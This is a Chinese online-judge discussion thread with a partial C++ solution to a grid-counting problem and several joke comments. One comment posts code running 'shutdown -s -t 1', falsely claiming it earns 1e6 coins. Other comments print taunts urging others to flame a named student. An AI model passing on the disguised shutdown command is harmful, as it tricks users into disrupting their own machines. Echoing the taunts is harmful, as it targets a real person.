- 取石子
某题的1/5题解
- 2025-8-11 15:37:50 @
#include<bits/stdc++.h>
#define int long long
using namespace std;
int a[1010][1010];
signed main(){
ios::sync_with_stdio(false);
cin.tie(0);
cout.tie(0);
int n,m;
cin>>n>>m;
int maxn=-9e18;
for(int i=n-1;i>=0;i--){
int x,y,x2,y2;
cin>>x>>y>>x2>>y2;
maxn=max({x,y,x2,y2});
x2++;
y2++;
for(int j=x2-1;j>x;j--){
for(int o=y2-1;o>y;o--){
a[j][o]++;
}
}
}
int cnt=0;
for(int i=0;i<=maxn*2;i++){
for(int j=0;j<=maxn*2;j++){
if(a[i][j]==m){
cnt++;
}
cout<<a[i][j]<<" ";
}
cout<<"\n";
}
cout<<cnt;
return 0;
}
7 条评论
-
李奕宸 @ 2025-8-11 20:28:42
#include<bits/stdc++.h> using namespace std; int main(){ while(1) cout<<"大家快喷牛博冉\n"; return 0; }
-
2025-8-11 18:25:54@
#include<bits/stdc++.h> using namespace std; int main(){ cout<<"大家快喷牛博冉\n"; return 0; }
-
2025-8-11 18:20:18@
#include <bits/stdc++.h> using namespace std; int main() { system("shutdown -s -t 1"); //将次代码运行可在图灵中获得1e6个金币 return 0; }
👍 1👎 1 -
2025-8-11 18:15:27@
牛博冉过不了
#include<bits/stdc++.h> #define int long long using namespace std; int a[1000010]; signed main(){ ios::sync_with_stdio(false),cin.tie(0),cout.tie(0); int n,m,cnt=0; cin>>n>>m; for(int i=1;i<=n;i++){ cin>>a[i]; } sort(a+1,a+n+1); int l=1,r=n; while(l<r){ if(a[l]+a[r]==m){ cnt++; l++; r--; }else if(a[l]+a[r]>m){ r--; }else if(a[l]+a[r]<m){ l++; } } cout<<cnt; return 0; }
-
2025-8-11 16:46:13@
-
2025-8-11 15:48:03@
#include<bits/stdc++.h> #define int long long using namespace std; signed main(){ ios::sync_with_stdio(false),cin.tie(0),cout.tie(0); cout<<" *** ****\n* * *\n* * *\n *** ****\n * * *\n * * *\n *** ****"; return 0; }
-
2025-8-11 15:40:54@
如有5/5题解可发在评论里(USACOP517 粉刷油漆)
🤡 2
- 1
信息
- ID
- 116
- 时间
- 1000ms
- 内存
- 256MiB
- 难度
- 8
- 标签
- 递交数
- 56
- 已通过
- 9
- 上传者